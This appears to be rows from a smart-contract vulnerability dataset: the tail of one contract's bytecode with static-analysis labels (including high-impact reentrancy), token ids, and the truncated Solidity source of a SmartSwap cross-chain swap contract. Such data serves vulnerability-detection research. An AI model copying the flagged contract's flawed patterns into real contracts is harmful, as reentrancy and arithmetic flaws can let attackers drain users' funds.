805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015614375575084517f30000000000000000000000000000000000000000000000000000000000000009086908490811061430257fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080614375575084517f39000000000000000000000000000000000000000000000000000000000000009086908490811061435657fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b1561437f57600192505b600190910190613ebf565b6001831515146143e4576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b6000821515614403575060006138e4565b5081810281838281151561441357fe5b04146138e4576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b60008281526009602090815260408083208484528252808320600190810154600b8085528386206005810154938101548752600e8652938620548787529452600790920154670de0b6b3a764000093614526939261451a9290916144f19187916064916144db9163ffffffff6143f216565b8115156144e457fe5b049063ffffffff6143f216565b8115156144fa57fe5b6000888152600b602052604090206008015491900463ffffffff61388916565b9063ffffffff6143f216565b81151561452f57fe5b049392505050565b600082821115614591576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b600082815260096020908152604080832084845282528083206002810154600190910154600b9093529083206008015461391092670de0b6b3a7640000916145de916143f2565b8115156145e757fe5b049063ffffffff61453716565b600061391061460284614615565b611ddf614615868663ffffffff61388916565b60006309502f9061467d6d03b2a1d15167e7c5699bfde00000611ddf6146787a0dac7055469777a6122ee4310dd6c14410500f290484000000000061384e6b01027e72f1f128130880000061451a8a670de0b6b3a764000063ffffffff6143f216565b614fc9565b81151561468657fe5b0492915050565b60006146a0670de0b6b3a764000061501c565b61467d60026146d36146c086670de0b6b3a764000063ffffffff6143f216565b65886c8f6730709063ffffffff6143f216565b8115156146dc57fe5b0461384e6146e98661501c565b6304a817c89063ffffffff6143f216565b614702615161565b6000838152600860205260409020600501541561473657600083815260086020526040902060050154614736908490614f32565b506005805460009384526008602052604090932001919091558051600a01815290565b6000818152600b60205260408120600201544291908211801561478857506000838152600b6020526040902054155b156147ac576147a58261384e600a670de0b6b3a7640000886144e4565b90506147d9565b6000838152600b60205260409020600201546147d69061384e600a670de0b6b3a7640000886144e4565b90505b6147eb610e108363ffffffff61388916565b81101561480b576000838152600b60205260409020600201819055611cc4565b61481d610e108363ffffffff61388916565b6000848152600b602052604090206002015550505050565b6000806149a64361384e42336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106148b05780518252601f199092019160209182019101614891565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120925050508115156148e657fe5b0461384e4561384e42416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061495f5780518252601f199092019160209182019101614940565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561499557fe5b0461384e424463ffffffff61388916565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106149f45780518252601f1990920191602091820191016149d5565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060045490945092506103e89150839050046103e80282031015614a435760019150614a48565b600091505b5090565b614a54615161565b606485046032860460008080614a6a8486613889565b60008054604051929650600160a060020a031691869181818185875af1925050501515614a975760009392505b600a8a0491508a8914158015614abd575060008981526008602052604090206001015415155b15614b5d57600089815260086020526040902060040154614ae590839063ffffffff61388916565b60008a815260086020908152604091829020600481019390935582546001909301548251600160a060020a03909416845290830152818101849052426060830152518c918e918c917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec7331919081900360800190a4614b61565b8192505b6000888152600d6020526040902060010154614ba390606490614b8b908d9063ffffffff6143f216565b811515614b9457fe5b8591900463ffffffff61388916565b92506000831115614c4657506000546002830490600160a060020a03166108fc614bcd8584614537565b6040518115909202916000818181858888f19350505050158015614bf5573d6000803e3d6000fd5b5060008c8152600b6020526040902060070154614c18908263ffffffff61388916565b60008d8152600b602052604090206007015560c0870151614c4090849063ffffffff61388916565b60c08801525b50949a9950505050505050505050565b614c5e615161565b6000848152600d6020526040812054819081908190606490614c87908b9063ffffffff6143f216565b811515614c9057fe5b049350606489049250614cae8360035461388990919063ffffffff16565b6003556000888152600d6020526040902060010154614d1f90614d1290606490614cdf908d9063ffffffff6143f216565b811515614ce857fe5b046064614cfc8d600e63ffffffff6143f216565b811515614d0557fe5b049063ffffffff61388916565b8a9063ffffffff61453716565b9850614d31898563ffffffff61453716565b9150614d3f8b8b868a615028565b90506000811115614d5d57614d5a848263ffffffff61453716565b93505b60008b8152600b6020526040902060070154614d839061384e848463ffffffff61388916565b60008c8152600b602052604090206007015560e0860151614dab90859063ffffffff61388916565b60e0870152506101008501525091979650505050505050565b836c01431e0fae6d7217caa00000000242670de0b6b3a76400000282600001510101816000018181525050600554751aba4714957d300d0e549208b31adb100000000000000285826020015101018160200181815250507f500e72a0e114930aebdbcb371ccdbf43922c49f979794b5de4257ff7e310c7468160000151826020015160086000898152602001908152602001600020600101543387878760400151886060015189608001518a60a001518b60c001518c60e001518d6101000151600354604051808f81526020018e81526020018d600019166000191681526020018c600160a060020a0316600160a060020a031681526020018b81526020018a815260200189600160a060020a0316600160a060020a0316815260200188600019166000191681526020018781526020018681526020018581526020018481526020018381526020018281526020019e50505050505050505050505050505060405180910390a15050505050565b6000614f3e8383614597565b90506000811115614fc457600083815260086020526040902060030154614f6c90829063ffffffff61388916565b6000848152600860209081526040808320600301939093556009815282822085835290522060020154614fa690829063ffffffff61388916565b60008481526009602090815260408083208684529091529020600201555b505050565b6000806002614fd9846001613889565b811515614fe257fe5b0490508291505b81811015613bd957809150600261500b828581151561500457fe5b0483613889565b81151561501457fe5b049050614fe9565b60006138e482836143f2565b6000848152600b60205260408120600501548190819061505686670de0b6b3a764000063ffffffff6143f216565b81151561505f57fe5b6000898152600b6020526040902060080154919004925061508790839063ffffffff61388916565b6000888152600b6020526040902060080155670de0b6b3a76400006150b2838663ffffffff6143f216565b8115156150bb57fe5b60008881526009602090815260408083208c8452825280832060020154600b9092529091206008015492909104925061510e9161384e908490670de0b6b3a7640000906145de908a63ffffffff6143f216565b60008781526009602090815260408083208b8452825280832060020193909355600b9052206005015461515690670de0b6b3a7640000906135c190859063ffffffff6143f216565b979650505050505050565b6101206040519081016040528060008152602001600081526020016000600160a060020a03168152602001600080191681526020016000815260200160008152602001600081526020016000815260200160008152509056006e20646973636f72640000000000000000000000000000000000000000000000706f636b6574206c696e743a206e6f7420612076616c69642063757272656e63697473206e6f74207265616479207965742e2020636865636b203f65746120696e6f20766974616c696b2c206e6f000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a723058205209c83fe2e0bdb62571ebfe99941233839b0ceff4947252d2ee332ef5d923a00029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 2050, 2581, 2063, 25746, 2063, 2683, 2487, 4246, 2546, 16932, 16409, 23833, 21084, 2620, 2475, 2497, 2620, 2497, 2094, 2620, 2683, 21084, 2063, 2549, 2050, 24087, 11057, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 1042, 29097, 18697, 7666, 1063, 1013, 1013, 5045, 7188, 1037, 2447, 18687, 1037, 2171, 2724, 2006, 2638, 7962, 14074, 1006, 21318, 3372, 17788, 2575, 25331, 2447, 3593, 1010, 4769, 25331, 2447, 4215, 16200, 4757, 1010, 27507, 16703, 25331, 2447, 18442, 1010, 22017, 2140, 3475, 7974, 13068, 2121, 1010, 21318, 3372, 17788, 2575, 8727, 3593, 1010, 4769, 8727, 4215, 16200, 4757, 1010, 27507, 16703, 8727, 18442, 1010, 21318, 3372, 17788, 2575, 3815, 4502, 3593, 1010, 21318, 3372, 17788, 2575, 2335, 15464, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,683
0x972aa39ac9d9284c1b2ee123c522bcc3978e867b
/** *Submitted for verification at BscScan.com on 2021-07-29 */ // SPDX-License-Identifier: No License (None) pragma solidity ^0.8.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } interface IERC20 { function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IValidator { // returns rate (with 18 decimals) = Token B price / Token A price function getRate(address tokenA, address tokenB) external returns (uint256); // returns: user balance, native (foreign for us) encoded balance, foreign (native for us) encoded balance function checkBalances(address factory, address[] calldata user) external returns(uint256); // returns: user balance function checkBalance(address factory, address user) external returns(uint256); // returns: oracle fee function getOracleFee(uint256 req) external returns(uint256); //req: 1 - cancel, 2 - claim, returns: value } interface IReimbursement { // returns fee percentage with 2 decimals function getLicenseeFee(address vault, address projectContract) external view returns(uint256); // returns fee receiver address or address(0) if need to refund fee to user. function requestReimbursement(address user, uint256 feeAmount, address vault) external returns(address); } interface ISPImplementation { function initialize( address _owner, // contract owner address _nativeToken, // native token that will be send to SmartSwap address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain) address _nativeTokenReceiver, // address on Binance to deposit native token address _foreignTokenReceiver, // address on Binance to deposit foreign token uint256 _feeAmountLimit // limit of amount that System withdraw for fee reimbursement ) external; } interface IAuction { function contributeFromSmartSwap(address payable user) external payable returns (bool); function contributeFromSmartSwap(address token, uint256 amount, address user) external returns (bool); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ /* we use proxy, so owner will be set in initialize() function constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } */ /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SmartSwap is Ownable { struct Cancel { uint64 pairID; // pair ID address sender; // user who has to receive canceled amount uint256 amount; // amount of token user want to cancel from order //uint128 foreignBalance; // amount of token already swapped (on other chain) } struct Claim { uint64 pairID; // pair ID address sender; // address who send tokens to swap address receiver; // address who has to receive swapped amount uint64 claimID; // uniq claim ID bool isInvestment; // is claim to contributeFromSmartSwap uint128 amount; // amount of foreign tokens user want to swap uint128 currentRate; uint256 foreignBalance; //[0] foreignBalance, [1] foreignSpent, [2] nativeSpent, [3] nativeRate } struct Pair { address tokenA; address tokenB; } address constant NATIVE_COINS = 0x0000000000000000000000000000000000000009; // 1 - BNB, 2 - ETH, 3 - BTC uint256 constant NOMINATOR = 10**18; uint256 constant MAX_AMOUNT = 2**128; address public foreignFactory; address payable public validator; uint256 public rateDiffLimit; // allowed difference (in percent) between LP provided rate and Oracle rate. mapping(address => bool) public isSystem; // system address mey change fee amount address public auction; // auction address address public contractSmart; // the reimbursement contract address mapping (address => uint256) licenseeFee; // NOT USED. the licensee may set personal fee (in percent wih 2 decimals). It have to compensate this fee with own tokens. mapping (address => address) licenseeCompensator; // NOT USED. licensee contract which will compensate fee with tokens mapping(address => bool) public isExchange; // is Exchange address mapping(address => bool) public isExcludedSender; // address excluded from receiving SMART token as fee compensation // fees uint256 public swapGasReimbursement; // percentage of swap Gas Reimbursement by SMART tokens uint256 public companyFeeReimbursement; // percentage of company Fee Reimbursement by SMART tokens uint256 public cancelGasReimbursement; // percentage of cancel Gas Reimbursement by SMART tokens uint256 public companyFee; // the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3% uint256 public processingFee; // the fee in base coin, to compensate Gas when back-end call claimTokenBehalf() address public feeReceiver; // address which receive the fee (by default is validator) uint256 private collectedFees; // amount of collected fee (starts from 1 to avoid additional gas usage) mapping(address => uint256) public decimals; // token address => token decimals uint256 public pairIDCounter; mapping(uint256 => Pair) public getPairByID; mapping(address => mapping(address => uint256)) public getPairID; // tokenA => tokenB => pair ID or 0 if not exist mapping(uint256 => uint256) public totalSupply; // pairID => totalSupply amount of tokenA on the pair // hashAddress = address(keccak256(tokenA, tokenB, sender, receiver)) mapping(address => uint256) private _balanceOf; // hashAddress => amount of tokenA mapping(address => Cancel) public cancelRequest; // hashAddress => amount of tokenA to cancel mapping(address => Claim) public claimRequest; // hashAddress => amount of tokenA to swap mapping(address => bool) public isLiquidityProvider; // NOT USED. list of Liquidity Providers uint256 claimIdCounter; // counter of claim requests address public reimbursementVault; //company vault address in reimbursement contract address public SPImplementation; // address of swap provider contract implementation // ============================ Events ============================ event PairAdded(address indexed tokenA, address indexed tokenB, uint256 indexed pairID); event PairRemoved(address indexed tokenA, address indexed tokenB, uint256 indexed pairID); event SwapRequest( address indexed tokenA, address indexed tokenB, address indexed sender, address receiver, uint256 amountA, bool isInvestment, uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled. uint128 limitPice // Do not match user if token A price less this limit ); event CancelRequest(address indexed hashAddress, uint256 amount); event CancelApprove(address indexed hashAddress, uint256 newBalance); event ClaimRequest(address indexed hashAddress, uint64 claimID, uint256 amount, bool isInvestment); event ClaimApprove(address indexed hashAddress, uint64 claimID, uint256 nativeAmount, uint256 foreignAmount, bool isInvestment); event ExchangeInvestETH(address indexed exchange, address indexed whom, uint256 value); event SetSystem(address indexed system, bool active); event AddSwapProvider(address swapProvider, address spContract); /** * @dev Throws if called by any account other than the system. */ modifier onlySystem() { require(isSystem[msg.sender] || owner() == msg.sender, "Caller is not the system"); _; } // run only once from proxy function initialize(address newOwner) external { require(newOwner != address(0) && _owner == address(0)); // run only once _owner = newOwner; emit OwnershipTransferred(address(0), msg.sender); rateDiffLimit = 5; // allowed difference (in percent) between LP provided rate and Oracle rate. swapGasReimbursement = 100; // percentage of swap Gas Reimbursement by SMART tokens companyFeeReimbursement = 100; // percentage of company Fee Reimbursement by SMART tokens cancelGasReimbursement = 100; // percentage of cancel Gas Reimbursement by SMART tokens companyFee = 0; // the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3% collectedFees = 1; // amount of collected fee (starts from 1 to avoid additional gas usage) } // get amount of collected fees that can be claimed function getColletedFees() external view returns (uint256) { // collectedFees starts from 1 to avoid additional gas usage to initiate storage (when collectedFees = 0) return collectedFees - 1; } // claim fees by feeReceiver function claimFee() external returns (uint256 feeAmount) { require(msg.sender == feeReceiver); feeAmount = collectedFees - 1; collectedFees = 1; TransferHelper.safeTransferETH(msg.sender, feeAmount); } function balanceOf(address hashAddress) external view returns(uint256) { return _balanceOf[hashAddress]; } // return balance for swap function getBalance( address tokenA, address tokenB, address sender, address receiver ) external view returns (uint256) { return _balanceOf[_getHashAddress(tokenA, tokenB, sender, receiver)]; } function getHashAddress( address tokenA, address tokenB, address sender, address receiver ) external pure returns (address) { return _getHashAddress(tokenA, tokenB, sender, receiver); } //user should approve tokens transfer before calling this function. //if no licensee set it to address(0) function swap( address tokenA, // token that user send to swap ( address(1) for BNB, address(2) for ETH) address tokenB, // token that user want to receive ( address(1) for BNB, address(2) for ETH) address receiver, // address that will receive tokens on other chain (user's wallet address) uint256 amountA, // amount of tokens user sends to swap address licensee, // for now, = address(0) bool isInvestment, // for now, = false uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled. For now, = 0 uint128 limitPice // Do not match user if token A price less this limit. For now, = 0 ) external payable returns (bool) { _transferFee(tokenA, amountA, msg.sender, licensee); _swap(tokenA, tokenB, msg.sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice); return true; } function cancel( address tokenA, address tokenB, address receiver, uint256 amountA //amount of tokenA to cancel ) external payable returns (bool) { _cancel(tokenA, tokenB, msg.sender, receiver, amountA); return true; } function cancelBehalf( address tokenA, address tokenB, address sender, address receiver, uint256 amountA //amount of tokenA to cancel ) external onlySystem returns (bool) { _cancel(tokenA, tokenB, sender, receiver, amountA); return true; } function claimTokenBehalf( address tokenA, // foreignToken address tokenB, // nativeToken address sender, address receiver, bool isInvestment, uint128 amountA, //amount of tokenA that has to be swapped uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price uint256 foreignBalance // total tokens amount sent by user to pair on other chain ) external onlySystem returns (bool) { _claimTokenBehalf(tokenA, tokenB, sender, receiver, isInvestment, amountA, currentRate, foreignBalance); return true; } // add swap provider who will provide liquidity for swap (using centralized exchange) function addSwapProvider( address _nativeToken, // native token that will be send to SmartSwap address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain) address _nativeTokenReceiver, // address on Binance to deposit native token address _foreignTokenReceiver, // address on Binance to deposit foreign token uint256 _feeAmountLimit // limit of amount that System may withdraw for fee reimbursement ) external returns (address spContract) { spContract = clone(SPImplementation); ISPImplementation(spContract).initialize( msg.sender, _nativeToken, _foreignToken, _nativeTokenReceiver, _foreignTokenReceiver, _feeAmountLimit ); isSystem[spContract] = true; emit AddSwapProvider(msg.sender, spContract); } function balanceCallback(address hashAddress, uint256 foreignBalance) external returns(bool) { require (validator == msg.sender, "Not validator"); _cancelApprove(hashAddress, foreignBalance); return true; } function balancesCallback( address hashAddress, uint256 foreignBalance, // total user's tokens balance on foreign chain uint256 foreignSpent, // total tokens spent by SmartSwap pair uint256 nativeEncoded // (nativeRate, nativeSpent) = _decode(nativeEncoded) ) external returns(bool) { require (validator == msg.sender, "Not validator"); _claimBehalfApprove(hashAddress, foreignBalance, foreignSpent, nativeEncoded); return true; } // get system variables for debugging function getPairVars(uint256 pairID) external view returns (uint256 native, uint256 foreign, uint256 foreignRate) { address nativeHash = _getHashAddress(getPairByID[pairID].tokenA, getPairByID[pairID].tokenB, address(0), address(0)); address foreignHash = _getHashAddress(getPairByID[pairID].tokenB, getPairByID[pairID].tokenA, address(0), address(0)); // native - amount of native tokens that swapped from available foreign native = _balanceOf[nativeHash]; // foreign = total foreign tokens already swapped // foreignRate = rate (native price / foreign price) of available foreign tokens on other chain (foreignRate, foreign) = _decode(_balanceOf[foreignHash]); // Example: assume system vars = 0, rate of prices ETH/BNB = 2 (or BNB/ETH = 0.5) // on ETH chain: // 1. claim ETH for 60 BNB == 60 * 0.5 = 30 ETH, // set: foreign = 60 BNB, foreignRate = 0.5 BNB/ETH prices (already swapped BNB) // // on BSC chain: // 2. claim BNB for 20 ETH, assume new rate of prices ETH/BNB = 4 (or BNB/ETH = 0.25) // get from ETH chain foreign(ETH) = 60 BNB, foreignRate(ETH) = 0.5 BNB/ETH prices // available amount of already swapped BNB = 60 BNB (foreign from ETH) - 0 BNB (native) = 60 BNB with rate 0.5 BNB/ETH // claimed BNB amount = 20 ETH / 0.5 BNB/ETH = 40 BNB (we use rate of already swapped BNB) // set: native = 40 BNB (we use BNB that was already swapped on step 1) // // 3. New claim BNB for 30 ETH, assume new rate of prices ETH/BNB = 4 (or BNB/ETH = 0.25) // get from ETH chain foreign(ETH) = 60 BNB, foreignRate(ETH) = 0.5 BNB/ETH prices // available amount of already swapped BNB = 60 BNB (foreign from ETH) - 40 BNB (native) = 20 BNB with rate 0.5 BNB/ETH // 20 BNB * 0.5 = 10 ETH (we claimed 20 BNB for 10 ETH with already swapped rate) // set: native = 40 BNB + 20 BNB = 60 BNB (we use all BNB that was already swapped on step 1) // claimed rest BNB amount for (30-10) ETH = 20 ETH / 0.25 BNB/ETH = 80 BNB (we use new rate) // set: foreign = 20 ETH, foreignRate = 0.25 BNB/ETH prices (already swapped ETH) } // ================== For Jointer Auction ========================================================================= // ETH side // function for invest ETH from from exchange on user behalf function contributeWithEtherBehalf(address payable _whom) external payable returns (bool) { require(isExchange[msg.sender], "Not an Exchange address"); address tokenA = address(2); // ETH (native coin) address tokenB = address(1); // BNB (foreign coin) uint256 amount = msg.value - processingFee; // charge processing fee amount = amount * 10000 / (10000 + companyFee); // charge company fee emit ExchangeInvestETH(msg.sender, _whom, msg.value); _transferFee(tokenA, amount, _whom, address(0)); // no licensee _swap(tokenA, tokenB, _whom, auction, amount, true,0,0); return true; } // BSC side // tokenB - foreign token address or address(1) for ETH // amountB - amount of foreign tokens or ETH function claimInvestmentBehalf( address tokenB, // foreignToken address user, uint128 amountB, //amount of tokenB that has to be swapped uint128 currentRate, // rate with 18 decimals: tokenB price / Native coin price uint256 foreignBalance // total tokens amount sent by user to pair on other chain ) external onlySystem returns (bool) { address tokenA = address(1); // BNB (native coin) _claimTokenBehalf(tokenB, tokenA, user, auction, true, amountB, currentRate, foreignBalance); return true; } // ================= END For Jointer Auction =========================================================================== // ============================ Restricted functions ============================ // set processing fee - amount that have to be paid on other chain to claimTokenBehalf. // Set in amount of native coins (BNB or ETH) function setProcessingFee(uint256 _fee) external onlySystem returns(bool) { processingFee = _fee; return true; } /* // set licensee compensator contract address, if this address is address(0) - remove licensee. // compensator contract has to compensate the fee by other tokens. // licensee fee in percent with 2 decimals. I.e. 10 = 0.1% function setLicensee(address _licensee, address _compensator, uint256 _fee) external onlySystem returns(bool) { licenseeCompensator[_licensee] = _compensator; require(_fee < 10000, "too big fee"); // fee should be less then 100% licenseeFee[_licensee] = _fee; emit SetLicensee(_licensee, _compensator); return true; } // set licensee fee in percent with 2 decimals. I.e. 10 = 0.1% function setLicenseeFee(uint256 _fee) external returns(bool) { require(licenseeCompensator[msg.sender] != address(0), "licensee is not registered"); require(_fee < 10000, "too big fee"); // fee should be less then 100% licenseeFee[msg.sender] = _fee; return true; } */ // ============================ Owner's functions ============================ //the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3% function setCompanyFee(uint256 _fee) external onlyOwner returns(bool) { require(_fee < 10000, "too big fee"); // fee should be less then 100% companyFee = _fee; return true; } // Reimbursement Percentage without decimals: 100 = 100% function setReimbursementPercentage (uint256 id, uint256 _fee) external onlyOwner returns(bool) { if (id == 1) swapGasReimbursement = _fee; // percentage of swap Gas Reimbursement by SMART tokens else if (id == 2) cancelGasReimbursement = _fee; // percentage of cancel Gas Reimbursement by SMART tokens else if (id == 3) companyFeeReimbursement = _fee; // percentage of company Fee Reimbursement by SMART tokens return true; } function setSystem(address _system, bool _active) external onlyOwner returns(bool) { isSystem[_system] = _active; emit SetSystem(_system, _active); return true; } function setValidator(address payable _validator) external onlyOwner returns(bool) { validator = _validator; return true; } function setForeignFactory(address _addr) external onlyOwner returns(bool) { foreignFactory = _addr; return true; } function setFeeReceiver(address _addr) external onlyOwner returns(bool) { feeReceiver = _addr; return true; } function setReimbursementContractAndVault(address reimbursement, address vault) external onlyOwner returns(bool) { contractSmart = reimbursement; reimbursementVault = vault; return true; } function setAuction(address _addr) external onlyOwner returns(bool) { auction = _addr; return true; } // for ETH side only function changeExchangeAddress(address _which,bool _bool) external onlyOwner returns(bool){ isExchange[_which] = _bool; return true; } function changeExcludedAddress(address _which,bool _bool) external onlyOwner returns(bool){ isExcludedSender[_which] = _bool; return true; } function createPair(address tokenA, uint256 decimalsA, address tokenB, uint256 decimalsB) public onlyOwner returns (uint256) { require(getPairID[tokenA][tokenB] == 0, "Pair exist"); uint256 pairID = ++pairIDCounter; getPairID[tokenA][tokenB] = pairID; getPairByID[pairID] = Pair(tokenA, tokenB); if (decimals[tokenA] == 0) decimals[tokenA] = decimalsA; if (decimals[tokenB] == 0) decimals[tokenB] = decimalsB; return pairID; } function setSPImplementation(address _SPImplementation) external onlyOwner { require(_SPImplementation != address(0)); SPImplementation = _SPImplementation; } // ============================ Internal functions ============================ function _swap( address tokenA, // nativeToken address tokenB, // foreignToken address sender, address receiver, uint256 amountA, bool isInvestment, uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled. uint128 limitPice // Do not match user if token A price less this limit ) internal { uint256 pairID = getPairID[tokenA][tokenB]; require(pairID != 0, "Pair not exist"); if (tokenA > NATIVE_COINS) { TransferHelper.safeTransferFrom(tokenA, sender, address(this), amountA); } // (amount >= msg.value) is checking when pay fee in the function transferFee() address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver); _balanceOf[hashAddress] += amountA; totalSupply[pairID] += amountA; emit SwapRequest(tokenA, tokenB, sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice); } function _cancel( address tokenA, // nativeToken address tokenB, // foreignToken address sender, address receiver, uint256 amountA //amount of tokenA to cancel //uint128 foreignBalance // amount of tokenA swapped by hashAddress (get by server-side) ) internal { if(!isSystem[msg.sender]) { // process fee if caller is not System require(msg.value >= IValidator(validator).getOracleFee(1), "Insufficient fee"); // check oracle fee for Cancel request collectedFees += msg.value; if(contractSmart != address(0) && !isExcludedSender[sender]) { uint256 feeAmount = (msg.value + 60000*tx.gasprice) * cancelGasReimbursement / 100; if (feeAmount != 0) IReimbursement(contractSmart).requestReimbursement(sender, feeAmount, reimbursementVault); } } address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver); uint256 pairID = getPairID[tokenA][tokenB]; require(pairID != 0, "Pair not exist"); if (cancelRequest[hashAddress].amount == 0) { // new cancel request uint256 balance = _balanceOf[hashAddress]; require(balance >= amountA && amountA != 0, "Wrong amount"); totalSupply[pairID] = totalSupply[pairID] - amountA; _balanceOf[hashAddress] = balance - amountA; } else { // repeat cancel request in case oracle issues. amountA = cancelRequest[hashAddress].amount; } cancelRequest[hashAddress] = Cancel(uint64(pairID), sender, amountA); // request Oracle for fulfilled amount from hashAddress IValidator(validator).checkBalance(foreignFactory, hashAddress); emit CancelRequest(hashAddress, amountA); //emit CancelRequest(tokenA, tokenB, sender, receiver, amountA); } function _cancelApprove(address hashAddress, uint256 foreignBalance) internal { Cancel memory c = cancelRequest[hashAddress]; delete cancelRequest[hashAddress]; //require(c.foreignBalance == foreignBalance, "Oracle error"); uint256 balance = _balanceOf[hashAddress]; uint256 amount = uint256(c.amount); uint256 pairID = uint256(c.pairID); if (foreignBalance <= balance) { //approved - transfer token to its sender _transfer(getPairByID[pairID].tokenA, c.sender, amount); } else { //disapproved balance += amount; _balanceOf[hashAddress] = balance; totalSupply[pairID] += amount; } emit CancelApprove(hashAddress, balance); } function _claimTokenBehalf( address tokenA, // foreignToken address tokenB, // nativeToken address sender, address receiver, bool isInvestment, uint128 amountA, //amount of tokenA that has to be swapped uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price uint256 foreignBalance // total tokens amount sent bu user to pair on other chain // [1] foreignSpent, [2] nativeSpent, [3] nativeRate ) internal { uint256 pairID = getPairID[tokenB][tokenA]; // getPairID[nativeToken][foreignToken] require(pairID != 0, "Pair not exist"); // check rate uint256 diffRate = uint256(currentRate) * 100 / IValidator(validator).getRate(tokenB, tokenA); uint256 diffLimit = rateDiffLimit; require(diffRate >= 100 - diffLimit && diffRate <= 100 + diffLimit, "Wrong rate"); uint64 claimID; address hashAddress = _getHashAddress(tokenA, tokenB, sender, 